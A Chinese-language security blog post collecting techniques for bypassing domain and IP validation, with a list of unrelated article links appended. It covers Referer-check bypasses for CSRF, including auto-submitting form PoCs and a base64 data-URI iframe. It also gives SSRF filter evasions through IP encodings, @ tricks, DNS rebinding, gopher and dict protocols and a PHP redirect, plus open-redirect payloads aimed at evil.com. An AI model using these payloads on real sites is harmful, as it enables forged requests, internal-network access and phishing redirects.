关于绕过域名(ip)校验的一些小知识
这篇文章最开始只是想写一个关于绕过referer的方法,写着写着发现和ssrf以及url跳转的一些手法类似,于是把这两种也加上了
对referer做校验一般是对csrf进行防范的手段之一,但是很多时候不经意间还会增加其他攻击的难度,如xss,jsonp劫持等等。
这里对referer的绕过做一个小的总结:
目标网站是:www.domain.com
攻击者的域名是:evil.com
1.使用子域名的方式绕过,如下:
http://domain.evil.com/
2.注册一个类似的域名,如下:
http://www.evildomain.com/
3.将域名以参数的形式接下url后面(#也可以)
http://www.evil.com/?http://www.domain.com
4.利用空referer
1)利用ftp://,http://,https://,file://,javascript:,data:等伪协议进行跳转,如下
<html>
<body>
<iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
</body>
</html>
2)添加<meta name="referrer" content="never">,poc如下
<html>
<meta name="referrer" content="never">
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/test.php">
<input type="submit" value="Submit request" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>
3)https跳到http时也没有referer
5.如果受信任的网站中可以添加链接,可以在受信任的网站上添加链接,但是不支持post的csrf
6.利用url跳转
7.结合受信任的网站的xss漏洞进行利用
顺便把ssrf绕过的几种方法在这里补充下:
1.[::] (直接在浏览器中输出是不行的,貌似和服务器端代码实现有关) http://0/ 攻击本地
2.利用@ http://example.com@192.168.1.1
3.特殊域名 http://192.168.1.1.xip.io/
4.DNS重绑定 利用ceye平台
5.利用Enclosed alphanumerics
6. 127。0。0。1
7.利用进制 八进制钱加0 十六进制钱加0x 需要补位1-》01 然后再进制转换
1.可以是十六进制,八进制等。 115.239.210.26 >>> 16373751032 首先把这四段数字给分别转成16进制,结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制 记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
2.http://127.0.0.1 -》 http://0177.0.0.1/

8.利用协议 dict:// sftp:// ldap:// goapher://
-----------------------------------------------------2019.3.11---------------------------------------------------------------
今天在FB上看到一种绕过ssrf控制的方法(原文在https://www.freebuf.com/vuls/196619.html)
当服务器端仅是对内网ip做正则时(这些场景是我意淫的),可以控制url让服务器请求我们自己的网站下的某个网页,在网页下进行重定向(这也是为什么ssrf的方法措施中有一个项是禁止30X跳转)
<?php header("location: http://[::]:22/"); ?>
-----------------2020.2.26-----------------
补充一个关于绕过ssrf的新姿势 https://xz.aliyun.com/t/7256
这篇文章中还可以找到ssrf中对应 dns重定向以及302跳转 的防范手段

URL跳转绕过:
1.利用问号?
http://www.aaa.com/acb?Url=http://evil.com?login.aaa.com
2.利用井号#
http://www.aaa.com/acb?Url=http://evil.com#login.aaa.com
3.利用@
http://www.aaa.com/acb?Url=http://aaa.com@www.evil.com
3.利用正反斜杠
http://www.aaa.com/acb?Url=http://evil.com/login.aaa.com
http://www.aaa.com/acb?Url=http://evil.com\\login.aaa.com
http://www.aaa.com/acb?Url=http://evil.com\login.aaa.com
http://www.aaa.com/acb?Url=http://evil.com\.login.aaa.com
4.百名单缺陷(白名单是aaa.com)
www.evilaaa.com www.aaa.com.evil.com
5.多重跳转(没试过,感觉应该不行吧)
http://www.aaa.com/acb?Url=http://login.aaa.com/acb?url=http://login.test.com
6.利用http://www.aaa.com.220.181.57.217.xip.io 实际上访问的是IP地址
------------------------------------------------------------2019.5.17------------------------
再补充一个:Java中经常会通过java.net.URL.gethost()来获取url的域名,但是方法获取域名时在以往的jdk版本中是存在问题的
比如说 url 是 “https://www.rebeyond.net\@www.huawei.com/poc.htm” 通过该方法获取的host将是www.rebeyond.net\@www.huawei.com 而浏览器访问时是www.rebeyond.net
https://www.rebeyond.net\.www.huawei.com/poc.htm 将@改为 . 也可以
还有一个类似的情况
https://www。evil。com%23%5cwww.baidu.com/ http://www.evil.com#@www.baidu.com/
--------------------------------2019.12.4-----------------
再补充一个绕过domain白名单的(2019黑帽大会,利用unicode类字母符号 https://www.fuhaoku.net/block/Letterlike_Symbols)
https://office.live.com/start/word.aspx?h4b=dropbox&eurl=htt ps://evil.ca/c.dropbox.com/wopi_edit/document1.docx&furl=htt ps://www.dropbox.com/wopi_download/document1.docx&c4b =1
关于绕过域名(ip)校验的一些小知识的更多相关文章
- https域名强弱校验的区别
HttpsURLConnection.setDefaultHostnameVerifier( new HostnameVerifier(){ public boolean verify(String ...
- apache本地域名ip重定向vhosts
apache本地域名ip重定向,使本机通过指定域名访问到指定ip路径. 1.apache配置apache/conf/httpd.conf : 开启配置 Include conf/extra/http ...
- 点分十进制IP校验、转换,掩码校验
/***************************************************************************** * 点分十进制IP校验.转换,掩码校验 * ...
- 请求一个域名ip的缓存用处
前言 摘录自操作系统,这一段的内容很有启发,稍微加上自己的理解,写一篇博客记录一下. 缓存 缓存成功解决了速度不匹配设备之间的数据传输,并且在一般情况下,是整个系统的瓶颈:缓存的出现,有效减少了低速I ...
- 域名ip自动跳转 跳转指定页面的js
域名ip自动跳转 跳转指定页面的js 为了应对百度审核,需要客户的网站在个别地区跳转到另一个页面,就搞到了这段代码,屡试不爽,超实用.下面把地址换成你要访问的网站url地址或者文件url地址即可.超实 ...
- 域名IP主动验证(一)
功能:主动验证给定的域名.IP对是否真正的关联 思路: 1.一开始通过修改hosts文件,把待验证的域名.IP对添加到文件里,然后用wget尝试访问,再恢复hosts文件重新验证下一对 2.后来了解到 ...
- ip地址查询python3小工具_V0.0.1
看到同事在一个一个IP地址的百度来确认导出表格中的ip地址所对应的现实世界的地址是否正确,决定给自己新开一个坑.做一个查询ip“地址”的python小工具,读取Excel表格,在表格中的后续列输出尽可 ...
- CSRF绕过后端Referer校验
CSRF绕过后端Referer校验分正常情况和不正常的情况,我们这里主要讨论开发在写校验referer程序时,不正常的情况下怎么进行绕过. 正常情况 正常的情况指服务器端校验Referer的代码没毛病 ...
- 后端程序员实现一个IP归属地的小程序
在日常开发中,后端主要提供数据以及处理业务逻辑,前端主要提供页面布局以及数据展示.后端程序员对于页面布局接触比较少,但是小程序有完善的文档说明.页面布局也相对简单,实现起来相对简单一些.而且小程序相对 ...
随机推荐
- 【nodejs】初识 NodeJS(三)
上节我们将 http 服务器(server.js)和请求路由模块(route.js)整合在一起了,当然这还不够,路由,顾名思义,是指我们要针对不同的 url 有不同的处理方式. 请求处理程序模块(re ...
- 04Hadoop中的setPartitionerClass/SortComparator/GroupingComparator问题
map阶段 1. 使用job.setInputFormatClass(TextInputFormat)做为输入格式.注意输出应该符合自定义Map中定义的输出. 2. 进入Mapper的map()方法, ...
- springboot 工程启动报错之Consider defining a bean of type ‘XXX’ in your configuration.
一.前言: 使用springboot自动注入的方式搭建好了工程,结果启动的时候报错了!!!,错误如下图: Description: Field userEntityMapper in com.xxx. ...
- 用命令创建MySQL数据库
一.连接MYSQL 格式: mysql -h主机地址 -u用户名 -p用户密码 1. 连接到本机上的MYSQL. 首先打开DOS窗口,然后进入目录mysql\bin,再键入命令mysql -u roo ...
- 告别GOPATH,快速使用 go mod(Golang包管理工具)
https://studygolang.com/articles/17508?fr=sidebar 文中的wserver为module名,route为本地的包名,go.mod所在的目录名不一定非要和m ...
- Java开发中的23种设计模式
设计模式(Design Patterns) ——可复用面向对象软件的基础 设计模式(Design pattern)是一套被反复使用.多数人知晓的.经过分类编目的.代码设计经验的总结.使用设计模式是为了 ...
- google的Python风格规范
Python风格规范 分号 Tip 不要在行尾加分号, 也不要用分号将两条命令放在同一行. 行长度 Tip 每行不超过80个字符 例外: 长的导入模块语句 注释里的URL 不要使用反斜杠连接行. ...
- Qt编写自定义控件属性设计器
以前做.NET开发中,.NET直接就集成了属性设计器,VS不愧是宇宙第一IDE,你能够想到的都给你封装好了,用起来不要太爽!因为项目需要自从全面转Qt开发已经6年有余,在工业控制领域,有一些应用场景需 ...
- npm install 错误 安装 chromedriver 失败的解决办法
npm 安装 chromedriver 失败的解决办法npm 安装 chromedriver 时,偶尔会出错,错误提示类似于:npm ERR! chromedriver@2.35.0 install: ...
- docker学习(一)
在工作和生活中免不了要学习新的东西.学习新东西要和已有的东西相结合,要有较快的效率.今天学习一下docker的使用,也锻炼一下自己学习新东西的能力. 1.学习docker,首先要下载docker.首先 ...